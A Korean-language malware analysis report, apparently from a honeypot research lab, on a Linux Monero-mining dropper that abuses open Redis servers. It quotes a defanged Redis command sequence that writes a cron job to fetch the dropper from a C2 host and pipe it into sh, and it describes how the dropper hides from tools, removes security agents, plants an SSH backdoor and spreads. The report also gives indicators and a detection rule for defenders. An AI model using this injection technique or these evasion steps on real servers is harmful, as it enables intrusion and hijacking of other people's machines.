Kworker: 자체 제거 도구를 들고 오는 암호화폐 채굴기

TLP:CLEAR. 공개 승인됨. 2026년 6월 10일 Kinryū Labs 허니팟 센서 네트워크가 포착했다. 정적·수동 분석만 수행했다. 드로퍼는 실행하지 않았고, 공격자 인프라에는 어떠한 접촉도 하지 않았다. 아래 지표는 무력화되어 있다. YARA 규칙은 탐지를 위해 의도적으로 실제 문자열을 담고 있다. 2단계 채굴기 바이너리와 모네로 지갑은 복구하지 못했다.

핵심 요약

• ~5초열린 Redis 포트에서 네 개의 root cron 백도어까지
• 636줄의 bash, 완전한 호스트 장악 키트
• 2내부에 base64로 실어 온 벤더 제거 도구
• 80+처치 목록에 오른 경쟁 채굴기

UTC 자정에서 6분이 지났을 때, 무언가가 우리 허니팟 중 하나의 Redis 포트로 연결을 열고, 자신이 무엇과 이야기하는지 보려고 단 한 번의 INFO를 실행한 뒤 끊었다. 2초 후 다시 돌아와 일을 시작했다. 끊을 무렵, 통틀어 5초 만에, 그것은 서버의 cron 테이블을 네 가지 방식으로 다시 썼고, 그 모두를 같은 파일 하나로 향하게 했다. kworker라는 셸 스크립트였다.

우리는 그것을 결코 실행시키지 않았다. 허니팟은 페이로드를 붙잡아 해시하고 따로 보관한다. 기계 자체는 깨끗하게 유지된다. 그래서 우리에게 남은 것은 스크립트 전체 636줄과, 침입의 완전한 기록이다. 둘을 함께 읽으면 2026년 상용 Linux 크립토재킹이 도달한 지점의 깔끔한 단면이 되며, kworker는 좋은 표본이다. 이 장르가 지금껏 발명한 거의 모든 것을 하기 때문이다. 그리고 한 가지를 완전히 천연덕스러운 얼굴로 한다. 바로 백신 벤더 자신의 제거 도구를 써서 당신의 백신을 제거하는 것이다.

핵심 판단

• 8220 Gang / kworkerds 계열의 상용 크립토재킹, 기회주의적이고 비표적(중간 확신). Redis 전달, 이름이 바뀐 다운로드 도구, /etc/javae 잠금 파일, 거대한 처치 목록은 모두 이 계열의 특징이다. 우리가 중간에 머무르고 그 이상으로 가지 않는 것은, 이것이 여러 조직이 주고받고 되파는 널리 포크된 코드이기 때문이다. 따라서 이 이름은 단일 작성자가 아니라 계열을 가리킨다.
• 목적은 모네로 채굴(높은 확신). 스크립트의 전체 목적은 javae(XMRig 빌드)를 위해 huge pages를 켠 뒤 그것을 가져와 실행하는 것이다. 나머지 모두는 판을 비우고 호스트를 지키기 위해 존재한다.
• 성숙하고 잘 쓰인 소프트웨어, 누군가의 주말 프로젝트가 아니다(높은 확신). 침입 자체의 cron 줄들이 cd1과 wd1을 호출하는데, 이 도구들은 kworker가 설치된 후에야 존재한다. 키트가 이미 자기 자신을 전제하는데, 이는 한동안 유통된 코드의 표시다.
• 빠진 지갑은 고의적이다(높은 확신). 스크립트에는 모네로 주소도 풀도 없다. 둘 다 우리가 복구하지 못한 채굴기 바이너리에 들어 있다. 이 조직의 캠페인들을 하나로 묶어 줄 단 하나의 세부 정보가 바로 그들이 스크립트에서 떼어 놓는 것이다. RedTail에서 우리가 부딪힌 것과 같은 벽이다.

FLUSHALL, 그리고 cron으로 가는 네 갈래 길

비밀번호 없이 인터넷에 열린 Redis는 수년간 한 줄짜리 root 셸이었고, 여기서 쓰인 기법은 오래된 검증된 방식이다. 값이 cron 작업인 데이터베이스 키를 설정한다. Redis에게 데이터베이스를 cron 폴더에 저장하라고 시킨다. SAVE를 호출한다. Redis는 데이터베이스를 디스크에 쓰고, 당신의 가짜 cron 작업도 함께 쓰이며, 1분 뒤 cron이 그것을 root로 실행한다. 우리의 방문자는 서버의 지문을 떴고, 파일을 쓸 수 있는지 확인했으며, 저장 실패를 막는 안전장치를 끄고 그 수법을 부렸다.

# 방문자가 Redis에 보낸 것 (축약, 무력화)
SET backup1 "*/2 * * * * cd1 -fsSL hxxps://download.logltech[.]workers[.]dev/up/down/api/kworker | sh"
CONFIG SET dir /var/spool/cron/
CONFIG SET dbfilename root
SAVE

침입 전체가 몇 초 안에 들어맞는다.

• 00:06:00 UTC연결, 서버 지문을 뜨기 위한 단 한 번의 INFO 전송, 연결 해제.
• +2초재연결. 각각 cron 줄을 담은 네 개의 키 설정. CONFIG SET dir로 cron 폴더, CONFIG SET dbfilename으로 대상 cron 파일, stop-writes-on-bgsave-error 비활성화, 그다음 SAVE.
• +총 5초연결 해제. 허니팟은 전체 페이로드와 전체 기록을 갖고, 기계는 깨끗하게 유지된다.
• +1분실제 호스트에서는 cron이 심어진 줄을 root로 실행하고 kworker를 끌어온다.

속도를 늦춰 볼 가치가 있는 것은 중복성이다. 그것은 cron 작업을 하나 쓰지 않았다. 같은 명령을 네 곳에 썼다. /var/spool/cron/root, /var/spool/cron/crontabs, /etc/cron.d/javae, /etc/crontab으로, Red Hat과 Debian 양쪽 배치와 두 가지 cron 문법 모두를 아우른다. 각 줄은 서로 다른 도구로 kworker를 끌어왔다. cd1, wget, curl, wd1로, 2분·3분·4분·5분의 어긋난 일정에 따라. 그 이름 중 둘은 실제 프로그램이 아니다. cd1과 wd1은 kworker가 설치된 후 curl과 wget을 바꿔 부르는 이름이다. 침입은 곧 내려받을 스크립트를 이미 전제한다. 키트 전체가 내부적으로 일관되며, 이것이 바로 이것이 누군가의 주말 프로젝트가 아니라 성숙하고 잘 쓰인 소프트웨어임을 아는 방법이다.

제거 도구는 직접 챙겨 온다

root를 얻는 순간, kworker는 건물을 해체하기 시작한다. 방화벽이 비워지고, ufw가 꺼지고, SELinux가 permissive로 내려간 뒤 설정에서 비활성화되며, AppArmor가 멈추고, 커널의 NMI 워치독이 꺼진다. 이것이 중요한 이유는 채굴기가 CPU를 몇 주씩 100퍼센트에 묶어 두는데, 워치독이 그것을 알아챌 수 있는 몇 안 되는 것 중 하나이기 때문이다. /var/log/syslog는 통째로 삭제된다.

그다음 그것은 클라우드 보안 에이전트를 찾아 나서는데, 여기서 스크립트는 평범하기를 그친다. 큰 중국 클라우드 제공자들은 자사 VM에 호스트 에이전트를 실어 보낸다. AliYunDun으로 실행되는 것을 볼 수 있는 Alibaba의 Aegis, Tencent의 YunJing, Huawei의 HostGuard. kworker는 각각을 확인한다. Alibaba의 것을 찾으면, 단지 프로세스를 죽이지 않는다. Alibaba의 공식 제거 도구를 실행하며, Alibaba로 돌아갈 경로가 없는 기계에서도 그것이 작동하도록, Alibaba의 제거 스크립트 두 개를 base64로 인코딩해 자기 안에 싣고 다닌다. 우리는 둘 다 디코딩했다. kprobe 추적 해체까지 갖춘 진짜배기다.

그것은 즉흥이 아니다. 누군가가 실제 Aliyun 기계 앞에 앉아 제거 도구를 들어내 집어넣은 것이다.

bash로 쓰인 영역 다툼

이런 스크립트를 한 번도 읽어 본 적이 없다면, 놀라운 것은 그중 얼마나 많은 부분이 다른 범죄자를 겨냥하는가다. 채굴기의 진짜 적은 같은 CPU를 빌리려는 다음 채굴기이지, 시스템 관리자가 아니다. kworker는 대략 200줄을 경쟁자 사냥에 쓰며, 붙잡을 수 있는 모든 손잡이로 죽인다.

• 프로세스 이름으로, 백 개가 넘는 차단 목록에서: xmrig, kinsing, kdevtmpfsi, watchdogs와 watchbog 계열, ddg, sustes, 그리고 자기 이름이 유래한 더 오래된 kworkerds.
• 포트로, 채굴 풀과 IRC 봇이 앉아 있는 것들.
• 하드코딩된 IP 주소로.
• CPU로, 무딘 도구: 자신이 알아보지 못하는 이름으로 프로세서의 40퍼센트 넘게 태우는 것은 무엇이든 죽인다. 알 수 없는 프로세스가 CPU를 먹는다면 정의상 경쟁 채굴기라는 논리다.

그것은 그들의 파일을 /tmp와 /dev/shm에서 삭제하고, 그들의 cron 작업을 떼어 내며, 그들 중 일부가 설치하는 preload 루트킷을 제거하고, Docker에 손을 뻗어 알려진 채굴 이미지를 죽이고 삭제한다. 이것은 우리가 RedTail의 clean 스크립트와 Rootpacket의 killservice.sh에서 기록한 것과 같은 땅따먹기다. 이 조직들은 모두 같은 잘못 설정된 기계를 두고 싸우며, 모두 판을 쓸어 내는 것으로 시작한다.

그것은 또한, 구체적이고 반복적으로, TeamTNT에게 무례하다. TeamTNT가 하는 curl과 wget 개명을 되돌리고 그 디렉터리를 지운다. Kinsing을 죽이는 곳에서는 파일을 fuckyou라는 단어로 덮어쓰고 잠가서 Kinsing이 스스로를 되돌려 놓지 못하게 한다. 여기에 명예란 없다. 오직 땅따먹기뿐이며, kworker는 대부분보다 더 거칠게 그것을 한다.

목록을 자세히 읽으면 경쟁이 어떻게 숨는지에 대한 목록집이 된다. 한 무리의 표적은 커널 스레드로 위장한다. kacpi_svc, kswap_svc, kthreadd_svc, ksoftirqd_svc. 또 다른 무리는 시스템 데몬으로 위장한다. polkitd, acpid, dbus-daemon--system, 그리고 L이 있어야 할 자리에 대문자 I가 든 systemctI. kworker는 자기 경쟁자들이 걸치는 바로 그 변장을 사냥하는데, 그것은 몇 줄 뒤 자신이 javae를 systemd-network나 irqbalanced 같은 이름 사이에 숨길 때 손을 뻗는 바로 그 변장이다. 이 싸움의 모두가 지루한 시스템 잡음으로 차려입고 있으며, 모두가 서로의 의상을 외워 두었다.

표적 몇몇은 아예 이름이 아니다. 하나는 L2Jpbi9iYXN, /bin/bash 명령의 앞부분 base64다. kworker는 프로세스 테이블에서 그 인코딩된 접두사를 grep하여, 명령줄에 앉은 base64 블롭으로 경쟁자의 로더를 잡아낸다.

목록 전체는 길다. 죽이고 싶은 프로세스를 이름 짓는 백 가지가 넘는 방법이며, 이 반목의 질감을 느끼기 위해 한 번 훑어볼 가치가 있다.

포착된 스크립트에서 뽑아낸 전체 처치 목록

kill_miner_proc, kill_sus_proc, Docker 일소에서 가져왔다. 여기 있는 모든 것은 kworker가 사냥하는 표적이지, 자신의 인프라가 아니다. IP는 무력화되어 있다.

모든 프로세스를 죽이는 포트 (채굴 풀, IRC 봇, RAT, 대체 SSH 및 Telnet): 23, 143, 2222, 3333, 3347, 3389, 5555, 6665, 6666, 6667, 7777, 8444, 10008, 13531.

알아볼 수 있는 채굴기 및 봇넷 계열: xmrig, xmrig-cpu, xmrig-notls, xmr-stak, mstxmr, cnrig, minerd, minergate, cryptonight, crypto-pool, moneroocean, kinsing, kdevtmpfsi, kworkerds, kworker34, watchdogs, watchd0g, watchbog, ddg, ddg.2011, sustes, sustse, sustse3, kthrotlds, ksoftirqds, tntrecht (TeamTNT), nanoWatch, sourplum, disk_genius, biosetjenkins, nullcrew.

커널 스레드로 위장한 경쟁자: kacpi_svc, kswap_svc, kauditd_svc, kpsmoused_svc, kseriod_svc, kthreadd_svc, ksoftirqd_svc, kintegrityd_svc, kblockd_svc, native_svc.

시스템 데몬으로 위장한 경쟁자: polkitd, acpid, dbus-daemon--system, irqbalance, irqbalanc1, crond64, nginxk, vmlinuz, systemctI (대문자 i, systemctl 아님), systemten, systemxlv, svcupdate, netdns, netns, redis2, rsync, httpgd, haveged, voltuned, nqscheduler.

그 밖의 명명된 페이로드, 스크립트, 캠페인별 마커: apaceha, apachiii, mixnerdx, mixtape, performedl, conns, mgwsl, pythno, jweri, lx26, i586, gddr, askdljlqw, ysaydh, bonns, donns, kxjd, nopxi, deamon, zigw, devtool, devtools, suppoie, exin, xr, jawa, ynn, servim, darwin, sysstats, Loopback, XJnRj, NXLAi, BI5zj, icb5o, wnTKYg, 2t3ik, qW3xT.2, hahwNEdB, CnzFVPLF, CvKzzZLs, OIcJi1m, IOFoqIgyC0zmf2UR, 65ccEJ7, jmxx, 2Ne80nA, C4iLM4L, Guard.sh, Duck.sh, bonn.sh, conn.sh, kw.sh, pro.sh, mr.sh, 2mr.sh, cr5.sh, he.sh, miner.sh, l.sh, z3.sh, lower.sh, ndt.sh, logo9.jpg, oracle.jpg, init10.cfg, init12.cfg, j2.conf, zer0day.ru, gitee.com.

난독화된 런처와 떨군 설정 파일: ./ppp, ./vsp, ./jvs, ./pvv, ./vpp, ./pces, ./rspce, ./jiba, ./haveged, ./watchbog, ./servceaess와 그 철자가 틀린 쌍둥이들, mwyumwdbpq.conf, honvbsasbf.conf, mqdsflm.cf, /wl.conf, wc.confz, 그리고 base64 크래들 마커 L2Jpbi9iYXN(/bin/bas... 한 줄짜리의 시작).

보이는 즉시 쏘는 경쟁자 풀 및 C2 IP: 45.76.122[.]92, 51.38.191[.]178, 51.15.56[.]161, 104.248.4[.]162, 89.35.39[.]78, 107.174.47[.]156, 107.174.47[.]181, 83.220.169[.]247, 51.38.203[.]146, 144.217.45[.]45, 176.31.6[.]16, 46.243.253[.]15, 200.68.17[.]196, 188.209.49[.]54, 181.214.87[.]241, 121.42.151[.]137.

죽이고 삭제하는 Docker 이미지 및 컨테이너: pocosow, gakeaws, azulu, auto, xmr, mine, slowhttp, bash.shell 이름의 컨테이너; pocosow, gakeaws, buster-slim, hello-, azulu, registry, xmr, monero, mine, slowhttp 이미지 참조.

그리고 무딘 도구: javae와 일치하지 않으면서 CPU 40퍼센트를 넘는 것은 무엇이든 죽이고, 이름이 대괄호로 묶인 커널 스레드처럼 보이면서 10퍼센트를 넘는 것, /tmp에서 실행되는 것, 그리고 수상하게 긴 이름을 가진 프로세스도 마찬가지다.

이제 그것은 보이지 않는다

판을 비운 뒤, 그것은 자기 선수를 숨긴다. ps, top, pstree를 진짜 바이너리를 호출하는 두 줄짜리 래퍼로 바꾸고, 채굴기(javae)나 함께 실어 온 스캐너(pnscan)를 언급하는 줄을 조용히 걸러 낸 다음, 새것으로 보이지 않도록 그 가짜들의 날짜를 2016년으로 되돌린다. 감염된 기계에서 ps를 실행하면 채굴기는 그냥 목록에 없다.

채굴기는 어차피 프로세스 테이블 속으로 사라지도록 이름 지어졌다. javae가 systemd-network, irqbalanced, kswaped 같은 이름으로 심어진 잠금 파일 옆에 앉아 있으며, 하나하나가 지루한 시스템 잡음으로 읽히도록 골라졌다.

키 하나, 그리고 이웃으로 가는 길

두 번의 수가 더 장악을 마무리한다.

그것은 주석이 그저 uc1인 운영자의 SSH 공개 키를 root의 authorized_keys에 쓰고 그 파일을 변경 불가로 만든다. 그래서 알아채는 것만으로는 충분하지 않다. 삭제조차 하려면 먼저 변경 불가 비트를 풀어야 한다. 채굴기가 청소된 뒤에도 살아남는, 직접 손을 쓰는 접근이다.

그다음 그것은 퍼지려 한다. root의 known_hosts, 즉 이 기계가 로그인한 적 있는 모든 기계의 목록을 읽고, 이미 디스크에 놓인 키를 써서 각각에 SSH를 시도하며, 들여보내 주는 것에는 무엇이든 한 줄짜리를 실행해 백업 주소에서 kworker를 끌어와 이야기 전체를 처음부터 다시 시작한다. 빠른 웜은 아니고 비밀번호 없는 키가 여기저기 남겨진 데 기댄다. 하지만 보통 그런 것들이 남겨지는 종류의 기계 무리에서는 그것으로 충분하다.

채굴기, 그리고 우리가 얻지 못한 지갑

그 모든 기계장치에도, 정작 돈을 버는 것은 따분하다. 두 번째 파일 javae, 모네로를 채굴하는 XMRig 빌드다. kworker는 huge pages를 켜고(vm.nr_hugepages를 128로 설정, 표준 XMRig 속도 향상), javae를 /etc에 떨군 뒤 실행한다.

이 보고서의 빈틈이 여기다. 우리에게 javae도 없고 지갑도 없다. 스크립트에는 모네로 주소도 풀도 없다. 그것들은 실행 시점에 가져오는 채굴기 바이너리에 박혀 있고, C2는 이 샘플을 들여다본 어떤 공개 샌드박스에도 그것을 내주지 않았으므로, 수동으로 뜯어볼 것이 없다. kworker를 따로 분석하는 누구든 같은 벽에 부딪힌다. 지갑은 이 조직의 캠페인들을 하나로 묶어 줄 단 하나이며, 바로 그것이 그들이 스크립트에서 떼어 놓는 것이다.

의도적으로 Cloudflare에 호스팅

스크립트와 채굴기 둘 다 Cloudflare Workers 주소인 download.logltech[.]workers[.]dev에서 온다. 그리고 그것은 고의적인 선택이다. Workers는 무료이고, 기본적으로 HTTPS이며, Cloudflare의 평판을 빌려 도메인 차단 목록을 미끄러져 지나가고, 운영자가 실제로 통제하는 오리진이 무엇이든 숨긴다. 우리 허니팟은 진짜 서버를 결코 보지 못했다. 언제나 Cloudflare만 보았다.

웜이 쓰는 백업 채널은 2월 말에 등록된 tutorial.clashverge[.]space다. 스크립트에 하드코딩된 다른 모든 IP 주소는 그것이 죽이고 싶어 하는 경쟁자의 것으로, Vultr·OVH·DigitalOcean 기계들과 항저우의 Alibaba Cloud 호스트 하나에 흩어져 있으며, 이 운영자의 것이 전혀 아니다. 하드코딩된 IP는 인프라가 아니라 표적 목록으로 읽으라.

누구의 것인가?

조심스럽게, 그러면. 이것은 보통 8220 Gang, 또는 kworkerds로 분류되는 계열의 상용 크립토재킹이다. 표시는 모두 있다. Redis cron 주입 전달, curl-cd1 개명, /etc/javae 잠금 파일, pnscan 전파기, 거대한 처치 목록. 백신 엔진들은 이름에 합의하지 못하는데, 그 자체가 요점이다. ClamAV는 Rocke라 부르고, Rising은 TeamTNT로 태그하며, 나머지는 그냥 CoinMiner라 한다. 이 스크립트들은 여섯 조직쯤을 가로질러 복사되고 합쳐지고 되팔리며, kworker는 자신과 친척인 계열 여럿을 죽인다.

중국 클라우드 에이전트에 대한 집중과, VirusTotal이 같은 샘플에 연결하는 Windows PowerShell 형제는 그림을 채워 주지만, 안전한 진술은 겸손한 쪽이다. 널리 포크되었고, 금전 동기이며, 표적형이 아니고, 새롭지 않다. 중간 확신, 그리고 거기서 편안하다.

침해 지표

네트워크

지표	맥락
download.logltech[.]workers[.]dev	C2 (주), Cloudflare Workers. /up/down/api/{kworker, javae, cb.txt} 제공
tutorial.clashverge[.]space	C2 (백업), 웜이 사용. 2026년 2월 27일 등록
170.9.225[.]197	Redis 허니팟을 친 출처 IP
*.workers.dev 호스트 + /up/down/api/ 아래 GET	회선에서 자세히 볼 가치가 있는 페이로드 가져오기 패턴

파일 (SHA-256 / MD5)

파일	SHA-256	MD5
kworker (드로퍼)	7420e819e6cf6d7608e475468ae0160185fe7eed0b5b4129aad3e8dabc776e30	501ec2da3039ebe4ca379f663232176a
javae (XMRig 채굴기)	복구 못 함, 예상 5,685,096바이트

SSH 백도어 키: 주석 uc1, 공개 키 지문 SHA256:VG0G5YwuzVAQW5JrC9RukA6Pynj3AwnFhWPCKp6TfVY. 전체 자산의 authorized_keys에서 이것을 사냥하라.

호스트 아티팩트

경로	맥락
/etc/kworker, /etc/javae, /etc/cron.d/javae, /tmp/{kworker,javae}	떨군 파일
/usr/bin/cd1 (이전 curl), /usr/bin/wd1 (이전 wget)	이름이 바뀐 다운로드 도구
/bin/ps.original, /bin/top.original, /bin/pstree.original	트로이화된 래퍼 뒤에 보관된 진짜 바이너리
/usr/bin/{kswaped, pamdicks, ip6network, irqbalanced, rctlcli, systemd-network}	변경 불가, 한 자리 이름의 잠금 파일
vm.nr_hugepages = 128	XMRig를 위해 켜진 huge pages

행위 기반

• 실제로는 grep -v로 파이프하는 셸 스크립트인 ps, top, pstree.
• 당신이 쓰지 않았고 주석 uc1로 끝나는 authorized_keys.
• sh /etc/kworker나 sh /tmp/kworker를 실행하는 cron 작업, 그리고 있어서는 안 될 /etc/cron.d/javae.
• /usr/bin/kswaped와 그 친구들 경로의 변경 불가, 한 자리 이름 파일.
• cd1과 wd1로 이름이 바뀐 curl과 wget.
• 조용히 128로 설정된 vm.nr_hugepages.

탐지

호스트 측 단서는 일단 알고 나면 요란하며, 위에 나열되어 있다. 회선에서는 *.workers.dev 호스트를 해석하고 /up/down/api/ 아래 경로를 요청하는 것은 무엇이든 자세히 볼 가치가 있다. 안정적인 문자열에 발화하는 YARA 규칙은 다음과 같다. 탐지를 위해 의도적으로 실제 문자열을 담고 있다.

rule kworker_cryptojacker_sh
{
    meta:
        description = "Linux kworker/javae cryptojacking installer (Redis XMRig dropper)"
        author      = "Kinryu Labs honeypot CTI"
        reference   = "7420e819...776e30"  // full SHA-256 in the IOC table
        tlp         = "CLEAR"

    strings:
        $c2_1  = "download.logltech.workers.dev" ascii
        $c2_2  = "tutorial.clashverge.space" ascii
        $api   = "/up/down/api/kworker" ascii
        $lock  = "/etc/javae" ascii
        $miner = "miner_size=\"5685096\"" ascii
        $ren1  = "mv /usr/bin/curl /usr/bin/cd1" ascii
        $ren2  = "mv /usr/bin/wget /usr/bin/wd1" ascii
        $bin1  = "/usr/bin/pamdicks" ascii
        $bin2  = "/usr/bin/kswaped" ascii
        $bin3  = "/usr/bin/rctlcli" ascii
        $fn1   = "kill_miner_proc" ascii
        $fn2   = "download_file_if_needed" ascii
        $hide  = "javae\\|pnscan" ascii
        $ssh   = "9p8zIVKLUHMUNC9mKqPljzxH" ascii  // fragment of the uc1 key

    condition:
        filesize < 256KB and (
            $ssh or any of ($c2_1, $c2_2) or
            ($api and $lock) or
            ($miner and 1 of ($ren1, $ren2)) or
            (2 of ($bin1, $bin2, $bin3) and 1 of ($fn1, $fn2, $hide))
        )
}

무엇을 바꿔야 하는가

이 중 어느 것도 정교하지 않으며, 그것이 교훈이다. kworker가 들어온 것은 Redis 포트가 비밀번호 없이 열려 있었기 때문이다. 2026년에도 여전히 돈이 되는 2018년의 실수다. 그 후의 모든 것, EDR 제거와 루트킷과 웜은, 정문이 잠겨 있지 않았기 때문에만 의미가 있었다.

• Redis를, 또는 어떤 데이터스토어든, 인터넷에 노출하지 말고 인증을 요구하게 하라. 열린 서비스 하나를 단일 서비스가 아니라 호스트 전체의 침해로 여기라.
• cron과 authorized_keys를 프로덕션 코드처럼 지켜보라. 공격자에게는 그것이 바로 프로덕션 코드이기 때문이다.
• 기계 위의 클라우드 에이전트를 안전망으로 여기지 말라. kworker의 첫 본능은 다가가, 벤더 자신의 도구로, 정중하게 그것을 제거하는 것이었다.

MITRE ATT&CK 매핑

전술	기법
Initial Access	T1190 Exploit Public-Facing Application (Redis)
Execution	T1059.004 Unix Shell
Persistence	T1053.003 Cron; T1098.004 SSH Authorized Keys
Defense Evasion	T1562.001 Impair Defenses: Disable or Modify Tools (클라우드 에이전트 및 EDR 제거); T1562.004 Disable or Modify System Firewall; T1070.002 Clear Linux or Mac System Logs; T1014 Rootkit (트로이화된 ps/top/pstree); T1036.005 Masquerading: Match Legitimate Name; T1222.002 Linux File and Directory Permissions Modification (chattr +i); T1070.006 Timestomp (날짜를 되돌린 가짜)
Discovery	T1057 Process Discovery (경쟁자 사냥); T1518.001 Security Software Discovery (클라우드 에이전트); T1046 Network Service Scanning (pnscan)
Lateral Movement	T1021.004 Remote Services: SSH; T1570 Lateral Tool Transfer
Command and Control	T1071.001 Web Protocols; T1102 Web Service (Cloudflare Workers); T1105 Ingress Tool Transfer
Impact	T1496 Resource Hijacking (모네로 채굴)

방법론과 분석가 노트

• 분석은 정적·수동이었다. 드로퍼는 실행하지 않았고, 공격자 인프라에는 어떠한 접촉도 하지 않았다. 결론은 포착된 636줄 스크립트를 통째로 읽고, 내장된 base64 제거 도구를 디코딩하며, 기록된 Redis 세션을 검토한 데서 나온다.
• 위 지표는 무력화되어 있다. YARA 규칙은 탐지를 위해 의도적으로 실제 문자열을 담고 있다.
• 우리에게 2단계 채굴기(javae)나 모네로 지갑은 없다. 스크립트는 둘 다 싣지 않는다. 둘 다 실행 시점에 가져오고 C2가 공개 샌드박스에 내주지 않은 채굴기 바이너리에 들어 있다. 지갑을 복구하려면 네트워크 캡처를 동반한 실제 기폭이 필요한데, 우리는 그것을 수행하지 않았다.
• 샘플(드로퍼와 디코딩된 제거 도구)은 다른 연구자와 방어자에게 요청 시 제공한다. 당신이 누구이고 무엇에 필요한지 짧게 적어 [email protected]로 메일을 보내라.